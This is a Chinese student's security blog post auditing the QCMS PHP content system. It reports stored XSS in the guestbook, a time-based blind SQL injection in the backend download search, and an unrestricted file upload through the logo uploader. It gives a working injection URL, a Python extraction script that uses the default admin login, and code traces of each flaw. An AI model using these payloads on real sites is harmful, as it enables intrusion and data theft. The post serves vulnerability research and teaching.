qcms是一款比较小众的cms,最近更新应该是17年,代码框架都比较简单,但问题不少倒是。。。
QCMS是一款小型的网站管理系统。拥有多种结构类型,包括:ASP+ACCESS、ASP+SQL、PHP+MYSQL
采用国际标准编码(UTF-8)和中文标准编码(GB2312)
功能齐全,包括文章管理,产品展示,销售,下载,网上社区,博客,自助表单,在线留言,网上投票,在线招聘,网上广告等多种插件功能程序和网页代码分离
支持生成Google、Baidu的网站地图
建站
说实话,官网写的是4.0.,安装确实3.0,然后下面写的是2.0,确实让人摸不清头脑
手动创建数据库即可,需要注意数据库要用MySQL5.0版本,向上会报错
数据库:qcms
后台账号密码: admin admin
留言处是XSS重灾区,首当其冲就有一个
按照如图所示构造payload
提交之后无需审核,直接先弹个窗。。
登录后台再弹一个。。
查看数据库,没有过滤直接插入
在后台下载管理处
构造payload
http://127.0.0.1/backend/down.html?title=1';select if(ascii(substr((select database()), 1, 1))-113, 1, sleep(5));%23
这里直接附上简单脚本
# !/usr/bin/python3
# -*- coding:utf-8 -*-
# author: Forthrglory
import requests
def getCookie():
url = 'http://127.0.0.1/admin.php'
data = {
'username':'admin',
'password':'admin'
}
session = requests.session()
res = session.post(url, data)
return requests.utils.dict_from_cookiejar(res.cookies)
def getDatabase(url, arr, cookies):
str = ''
requests.session()
for i in range(1, 11):
for j in arr:
data = url + '?title=1\';select if(ascii(substr((select database()), %s, 1))-%s, 1, sleep(5));%%23' % (i, ord(j))
# print(data)
res = requests.get(url=data, cookies=cookies)
# print(res.elapsed.total_seconds())
if(res.elapsed.total_seconds() > 5):
str += j
print(str)
break
print('database=' + str)
if __name__ == '__main__':
url = 'http://127.0.0.1/backend/down.html'
arr = []
for i in range(48, 123):
arr.append(chr(i))
cookies = getCookie()
print(cookies)
getDatabase(url, arr, cookies)
运行截图
漏洞产生点在系统设置上传logo处
构造一个test.php文件,内容为<?php phpinfo();
,点击上传
可以看到,上传后给出了路径
访问文件,发现上传成功
需要注意的是,每次上传后会将内容的hash保存到数据库中,如果再次上传时会检查数据库内容是否有重复,有则拒绝上传,因此如果第一遍上传有误,需要对内容进行简单的修改才能上传。
代码相对来说比较简单,先看结构
Install 安装文件
Lib 系统文件
Static 静态文件
System 控制器+视图
找到路由定义,得到规则
# http://127.0.0.1/控制器/方法/渲染模板
private function _fetch_url(){
$url = '';
$controller_arr = array();
$url_arr = explode('.', str_replace(SITEPATH, '/', $_SERVER['REQUEST_URI']));
$uri = ($url_arr[0] == '/') ? '/' : substr($url_arr[0], 1);
if (strpos ( $uri, 'poweredByQesy' ) !== false) {
echo "powered By QCMS v ".QCMS_VERSION."<br>\n";
echo "Auth : Qesy <br>\n";
echo "Email : [email protected] <br>\n";
echo "Your Ip : " . ip () . "<br>\n";
echo "Date : " . date ( 'Y-m-d H:i:s' ) . "<br>\n";
echo "UserAgent : " . $_SERVER ['HTTP_USER_AGENT'] . "<br>\n";
exit ();
}
if($uri == '/'){
$controller_arr['name'] = $this->_default['default_controller'];
$controller_arr['url'] = BASEPATH.'Controller/'.$this->_default['default_controller'].EXT;
$controller_arr['method'] = $this->_default['default_function'];
}else{
$uri_arr = explode($this->_default['url'], $uri);
foreach($uri_arr as $key => $val){
if(empty($val))continue;
$file = $url.$val;
$url .= $val.'/';
if(file_exists(BASEPATH.'Controller/'.$file.EXT)){
$controller_arr['name'] = $val;
$controller_arr['url'] = BASEPATH.'Controller/'.$file.EXT;
$fun_url = substr($uri, strlen($file)+1);
$fun_arr = explode($this->_default['url'], $fun_url);
$controller_arr['method'] = empty($fun_arr[0]) ? 'index' : $fun_arr[0];
$controller_arr['fun_arr'] = array_splice($fun_arr, 1);
break;
}
}
}var_dump($controller_arr);
return $controller_arr;
}
接下来开始漏洞审计
根据url跟踪到/System/Controller/guest.php->index_Action方法
public function index_Action($page = 0){
if(!empty($_POST)){
foreach($_POST as $k => $v){
$_POST[$k] = trim($v);
}
if(empty($_POST['title'])){
exec_script('alert("标题不能为空");history.back();');exit;
}
if(empty($_POST['name'])){
exec_script('alert("姓名不能为空");history.back();');exit;
}
if(empty($_POST['email'])){
exec_script('alert("邮箱不能为空");history.back();');exit;
}
if(empty($_POST['content'])){
exec_script('alert("留言内容不能为空");history.back();');exit;
}
$result = $this->_guestObj->insert(array('title' => $_POST['title'], 'name' => $_POST['name'], 'email' => $_POST['email'], 'content' => $_POST['content'], 'addtime' => time()));
if($result){
exec_script('window.location.href="'.url(array('guest', 'index')).'"');exit;
}else{
exec_script('alert("留言失败");history.back();');exit;
}
}
......
}
主要代码如上,其中_guestObj参数为/lib/Model/QCMS_Guest类,跟踪insert方法
public function insert($insert_arr = array(), $tb_name = 0){
return $this->exec_insert($insert_arr, $tb_name);
}
继续跟踪至/lib/Config/DB_pdo类
public function exec_insert($insert_arr = array(), $tb_name = 0, $isDebug = 0){
$tb_name = empty($tb_name) ? 0 : $tb_name;
$value_str = parent::get_sql_insert($insert_arr);
$sql = "INSERT INTO ".parent::$s_dbprefix[parent::$s_dbname].$this->p_table_name[$tb_name].$value_str."";
! $isDebug || var_dump ( $sql );
return $this->q_exec($sql);
}
将参数进行拼接后执行,其中在执行前调用了get_sql_insert方法,继续跟踪
public function get_sql_insert($insert_arr = array()){
$insert_arr_t = array();
$value_arr_t = array();
if(is_array($insert_arr)){
foreach($insert_arr as $key => $val){
$insert_arr_t[] = $key;
if(!get_magic_quotes_gpc()){
$value_arr_t[] = '\''.addslashes($val).'\'';
}else{
$value_arr_t[] = '\''.$val.'\'';
}
}
return " (".implode(',', $insert_arr_t).") values (".implode(',', $value_arr_t).")";
}
}
该方法对单双引号和反斜杠转义,但对尖括号并没有过滤,所以代码直接插入到了数据库中
调用顺序为
Guest->index_action()
QCMS_Guest->insert()
Db_pdo->exec_insert()
Db->get_sql_insert() # 过滤
根据url找到/System/Controller/backend/down.php->index_Action()方法
public function index_Action($page = 0){
$condStr = 0;
if(isset($_GET['title']) && $_GET['title'] != ''){
$condArr[] = " title LIKE '%".$_GET['title']."%'";
}
$condStr = empty($condArr) ? '' : ' WHERE '.implode(' && ', $condArr);
$count = 0;
$offset = ($page <= 0) ? 0 : ($page - 1) * $this->pageNum;
$temp['rs'] = $this->_downObj->selectAll(array($offset, $this->pageNum), $count, $condStr, '*');
$temp['page'] = $this->page_bar($count[0]['count'], $this->pageNum, url(array('backend', 'news', 'index', '{page}')), 9, $page);
$temp['cateRs'] = $this->_cateObj->select('', 'id, name', 0, 'id');
$this->load_view('backend/down/index', $temp);
}
直接将参数拼接至语句中,继续跟踪QCMS_Down->selectAll()
public function selectAll($limit = '', &$count, $cond_arr='', $field = '*', $sort = array('id' => 'DESC'), $table = 0){
$count = $this->exec_select($cond_arr, 'COUNT(*) AS count', $table, 0, '', '', 0);
return $this->exec_select($cond_arr, $field, $table, 0, $limit, $sort, 0);
}
第一步查询数据的数量,第二步才是注入点
Db_pdo->exec_select()
public function exec_select($cond_arr=array(), $field='*', $tb_name = 0, $index = 0, $limit = '', $sort='', $fetch = 0, $isDebug = 0){
$tb_name = empty($tb_name) ? 0 : $tb_name;
$limit_str = !is_array($limit) ? $limit : ' limit '.$limit[0].','.$limit[1].'';
$sort_str = $this->sort($sort);
$sql = "SELECT ".$field." FROM ".parent::$s_dbprefix[parent::$s_dbname].$this->p_table_name[$tb_name].$this->get_sql_cond($cond_arr).$sort_str.$limit_str."";
! $isDebug || var_dump ( $sql );
if($fetch == 1){
return $this->q_select($sql, 1);
}
if(empty($index)){
return $this->q_select($sql);
}else{
return $this->set_index($this->q_select($sql), $index);
}
}
可以看到在我们的数据最后进行拼接之前还经历了get_sql_cond方法的过滤,跟进去
public function get_sql_cond($cond_arr = ''){
if(empty($cond_arr)){
return '';
}
if(!is_array($cond_arr)){
return $cond_arr;
}
$cond_arr_t = array();
foreach ($cond_arr as $key => $val){
if(is_array($val) && empty($val)){
continue;
}
if(is_array($val)){
$cond_arr_t[] = $key." in (".self::get_sql_cond_by_in($val).")";
}else{
if(!get_magic_quotes_gpc()){
$cond_arr_t[] = $key."='".addslashes($val)."'";
}else{
$cond_arr_t[] = $key."='".$val."'";
}
}
}
return empty($cond_arr_t) ? '' : ' WHERE '.implode(' && ', $cond_arr_t);
}
匪夷所思的地方来了,当我们传入的数据不为数组时,函数直接返回原始数据,并没有进行过滤,从而导致了注入
调用顺序为
down.php->index_Action()
QCMS_Down.php->selectAll()
Db_pdo.php->exec_select()
Db.php->get_sql_cond() # 过滤
注入点还有比如新闻列表的搜索、产品列表的搜索等几个地方,不过都大同小异,因此不再赘述
找到调用方法/System/Controller/backend/index.php->ajaxupload_Action()
public function ajaxupload_Action(){
$result = $this->upload($_FILES['filedata']);
$arr = array();
if($result < 0){
$arr['error'] = 1;
$arr['msg'] = '上传失败';
$arr['url'] = '';
}else{
$arr['error'] = 0;
$arr['msg'] = '上传成功';
$arr['url'] = $result;
}
echo json_encode($arr);
}
跟进Lib/Config/Controllers.php/ControllersAdmin->upload()
public function upload($file_arr = array()){
$this->_files = $this->load_model('QCMS_Files');
$uploadObj = $this->load_class('upload');
$pic = file_get_contents($file_arr['tmp_name']);
$hash = hash('sha1', $pic);
$rs = $this->_files->selectOne(array('hash' => $hash));
if(!empty($rs)){
$result = $rs['path'];
}else{
$result = $uploadObj->upload_file($file_arr);
if($result < 0){
}else{
$this->_files->insert(array(
'filename' => $file_arr['name'],
'path' => $result,
'mimetype' => $file_arr['type'],
'ext' => pathinfo($file_arr['name'], PATHINFO_EXTENSION),
'size' => $file_arr['size'],
'user_id' => $this->id,
'addtime' => time(),
'hash' => $hash,
));
}
}
return $result;
}
可以看到,方法将内容的hash储存到数据库中,如果存在相同数据,则直接将路径返回,如果不存在,才会进行上传
跟进Lib/Helper/upload.php->upload_file()方法
public function upload_file($file_arr){
$ext = substr(strrchr($file_arr['name'], '.'), 1);
if(!is_uploaded_file($file_arr['tmp_name']) || !in_array($file_arr['type'], $this->_type)){
return -1;
}
if($file_arr['size'] > ($this->_size * 1024 * 1024)){
return -2;
}
return self::_move_file($file_arr['tmp_name'], $ext);
}
如果文件不是post方式上传的或者type不在白名单内,返回-1,然而系统给出的白名单是这些:
private $_type = array(
'image/pjpeg',
'image/jpeg',
'image/gif',
'image/png',
'image/x-png',
'image/bmp',
'application/x-shockwave-flash',
'application/octet-stream',
'image/vnd.adobe.photoshop');
php文件的type是这个
Content-Type: application/octet-stream
这算哪门子白名单。。。
继续跟进同类的_move_file方法
private function _move_file($file, $ext){
$url = $this->_dir.$this->_name.'.'.$ext;
if(!is_dir($this->_dir)){
mkdir($this->_dir, 0777, true);
}
if (!move_uploaded_file($file, $url)){
return -3;
}
return SITEPATH.$url;
}
文件名在初始化的时候被赋值为一个随机数,然而文件的路径会被返回给模板并渲染出来
$this->_name = uniqid(rand(100,999)).rand(1,9);
`
然后就被上传了上去,甚至后缀都是用的原本文件的后缀而不是判断类型然后拼接.jpg
、.png
这样
调用顺序为:
index.php->ajaxupload_Action()
Controllers/ControllersAdmin->upload()
upload.php->upload_file()
upload.php->_move_file()
自从上了大学开始学习安全,也有几年了,审计代码也审计了几个cms,我想整合一下这些cms,做成一个平台之类的,给刚入门的学弟学妹们练练,也不要求多厉害多强大怎样,就想做一个入门训练之类的,顺便锻炼一下自己,以后有机会我再分享出来,有需要的话(可能并不会维护~逃)